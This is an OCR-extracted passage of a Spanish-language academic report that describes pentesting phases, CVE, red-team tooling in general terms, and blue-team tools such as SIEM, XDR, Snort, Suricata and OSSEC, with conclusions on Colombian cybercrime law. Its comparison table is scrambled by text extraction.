CVE (Common Vulnerabilities and Exposures) es un sistema de identificacion de
vulnerabilidades y exposiciones comunes en el ambito de la seguridad informatica®. Cada
CVE asigna un identificador unico a una vulnerabilidad especifica, lo que permite a los
profesionales de la seguridad y a los investigadores hacer un seguimiento y referencia

precisa de los problemas de seguridad.

El pentesting, también conocido como prueba de penetracidon, es un proceso que se
utiliza para evaluar la seguridad de un sistema informatico. este proceso consta de varias

etapas:

* recopilacion de informacién / enumeracion (footprinting): en esta fase, se recolecta toda
la informacién posible sobre el objetivo. esto puede incluir el escaneo de
dominios/ips/puertos/versiones/servicios, el uso de herramientas automatizadas para

obtener informacién del objetivo y la obtencion de metadatos.

« analisis de vulnerabilidades: esta fase consiste en realizar todas las posibles acciones

que permitan comprometer al objetivo, los usuarios y/o su informacion.

» explotacién de vulnerabilidades: en esta fase, se aprovechan las vulnerabilidades

encontradas en la fase anterior.

* post-explotacion: esta fase consiste en, una vez logrado entrar al sistema mediante las

anteriores fases, lograr credenciales o permisos de administrador, o incluso vulnerar otros

5 CIBERSEGURIDAD:COM [sitio web], ESPANA: WORDPRESS [consultado el 23 de febrero de 2024]
disponible en: ;Qué es CVE? Explicacion de vulnerabilidades y exposiciones comunes
(ciberseguridad.com).
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sistemas de mayor importancia dentro de la organizacion objetivo mediante técnicas de

pivoting o similares.

* reporte: en esta fase, se elabora un informe detallado de los hallazgos y se proporcionan

recomendaciones para mitigar las vulnerabilidades encontradas.

la etapa de footprinting es una de las mas importantes en el pentesting. esta fase, también
conocida como recopilacidn de informacion, consiste en recopilar tanta informacion como
sea posible sobre los sistemas y redes objetivo, asi como sobre sus propietarios, sin
intentar infiltrarse. esta informacion puede incluir detalles técnicos, como las direcciones
de ip, y detalles personales, como los nombres y cargos de los empleados. esta
informacion puede ser invaluable para entender mejor el entorno objetivo y planificar

ataques mas efectivos.

Contar con un conjunto de herramientas open source, asegura al equipo de red team,
poder realizar las diferentes pruebas en el ejercicio del pentesting articulado con los CVE,
que proporciona informacion de vulnerabilidades conocidas y tener en su banco de
prueba un kali linux con la herramienta por excelencia metasploit, es sumamente

recomendado para que el equipo red team pueda realizar bien su labor.

3.3 RECOMENDACIONES BLUE TEAM

Es una buena recomendacién para el equipo de blue team contar con sistemas de
deteccion de intrusiones, para esto se recomienda el uso de SIEM y XDR, a continuacion,
se muestran las principales diferencias entre cada una de acuerdo a una tabla

comparativa:
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Tabla 2. Diferencias entre SIEM y XDR

SIEM

XDR

Significado

Sistema de Informacién y

Eventos de Seguridad

Plataforma de respuesta y

deteccion extendida

Disefio y funcion

Uno de sus principales
objetivos es la gestion de
toda la informacion

relacionada con seguridad

y eventos en una
organizacion para
proporcionar una Vvision

centralizada y completa en

tiempo real respecto al

estado de la seguridad.

Su disefio incluye una
arquitectura que permite la
deteccion de amenazas,
analisis de los vectores de
ataque, mejorar la

de

infracciones y automatizar

comprensioén

la respuesta.

Escalabilidad

Tiene un enfoque vertical,
lo que significa que se

implementa una solucién

El usar una arquitectura
horizontal permite la

agregacion de datos de

*correlaciona* para

especifica  para cada | multiples fuentes y el
funcionalidad. Esto hace | enriquecimiento de los
que sea dificil escalar la | datos con informacion
infraestructura externa, lo que le da
escalabilidad a la solucion
modular.
Deteccion y correlacién de | EI  SIEM  recolecta vy |La plataforma XDR
eventos almacena datos de | recolecta y *analiza*
diversas fuentes de | amplios  datos, como
eventos de seguridad, y los | registros de firewall,

registros de eventos de
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identificar ~ patrones vy

anomalias que puedan

indicar una amenaza.

acceso, correos

electronicos y datos
recolectados de endpoints
eventos

para detectar

sospechosos.

Deteccidon de amenazas

Con SIEM, la deteccion de
amenazas se basa en la
correlacion de eventos.
Estos eventos pueden ser
agrupados en una unica
vista para dar una idea de
la situacién y permitir

alertas

XDR utiliza algoritmos de

inteligencia  artificial y
machine learning para
identificar ~ patrones y

diferenciar entre eventos
normales y amenazas
potenciales, o que permite
la deteccion de amenazas

avanzadas

Respuesta a incidentes

SIEM tiene en cuenta las
alertas y datos histoéricos
para automatizar la

respuesta a incidentes,

XDR utiliza algoritmos de

inteligencia  artificial vy
machine learning para
identificar ~ patrones vy

diferenciar entre eventos
normales y amenazas
potenciales, o que permite
la deteccion de amenazas

avanzadas

Integracion

SIEM se

multiples herramientas de

integra con

seguridad para
proporcionar una
funcionalidad adicional

como deteccion de fraude,

XDR permite una accion
contencién inmediata en
caso de un ataque,

aislamiento de dispositivos
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proteccion de la red vy

gestion de incidentes

Fuente: El autor

También se recomienda el uso de herramientas con licencia GPL, tales como SNORT,

SURICATA y OSSEC, a continuacion, se presenta  una breve descripcion de cada una:

SNORT

Snort es una herramienta de deteccidn de intrusos y prevencion de intrusiones de codigo
abierto bajo la GPL. Utiliza reglas basadas en firmas para identificar e informar sobre
posibles ataques de red, como escaneos, intentos de acceso no autorizado o trafico
malicioso. Snort también cuenta con un lenguaje de reglas flexible y una comunidad

activa que contribuye con nuevas reglas y actualizaciones constantes.

SURICATA

Suricata8 es otra herramienta de deteccion de intrusos y prevencion de intrusiones de
cédigo abierto con licencia GPL. Al igual que Snort, utiliza reglas basadas en firmas para
detectar posibles ataques de red, pero también cuenta con un motor de reglas basado en
el protocolo y la aplicacion que puede detectar patrones de trafico malicioso mas
complejos. Suricata es una herramienta mas reciente que Snort, pero ha ganado

popularidad gracias a su rendimiento y capacidad de inspeccionar trafico en tiempo real.

OSSEC

Ossec es un sistema de deteccion de intrusos de host (HIDS) de cédigo abierto con

licencia GPL. Se enfoca en la deteccién de actividad maliciosa en sistemas individuales,
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como intentos de acceso no autorizado, modificaciones de archivos criticos y cambios en
la configuracién del sistema. Ademas, Ossec puede analizar registros de eventos y

realizar correlacion de eventos para detectar patrones de
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4. CONCLUSIONES

La ejecucion de labores en ciberseguridad debe estar siempre enmarcadas dentro de las
leyes nacionales y acuerdos internacionales vigentes y codigo de ética vigente para el

ejercicio de la profesion.

Las leyes de proteccion de sistemas informaticos y la ley de proteccion de datos
personales, son las principales leyes colombianas, asi como el convenio Budapest, el
cual es un convenio entre varios paises del mundo, proporcionan un limite para la
ejecucion de labores en ciberseguridad, de las cuales los profesionales en
ciberseguridad, debemos tener presentes al momento de firmar acuerdo para la ejecucion
de pruebas de pentesting, para no incurrir en delitos informaticos que nos puedan afectar

con sanciones legales o éticas.

La etapa de prueba de vulnerabilidades o intrusiones, permiten a las organizaciones
mejorar la seguridad de sus sistemas, redes e infraestructura, permitiendo tomar
acciones tempranas para fortalecer la seguridad, el equipo red team se encarga de esta

labor.

El fortalecimiento de la seguridad, activacion de defensas tales como antimalware,
firewall, contrasefias seguras, software de deteccidon de intrusiones, ejecucién de
archivos sospechosos en ambientes aislados, son labores de las que se encarga el
equipo Blue Team, ayudan a las organizaciones a estar protegidas responder ante

ataques informaticos.

La colaboracion conjunta de los equipos estratégicos red team y blue team, permiten las
organizaciones, estar siempre revisando y fortaleciendo la seguridad, en este mundo
digital que esta en continuo cambio, y donde las técnicas que utilizan los

ciberdelincuentes son cada vez mas sofisticadas y dificiles de detectar.
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ANEXO 1. ENLACE AL VIDEO
LINK: https://youtu.be/bvszf9 toey
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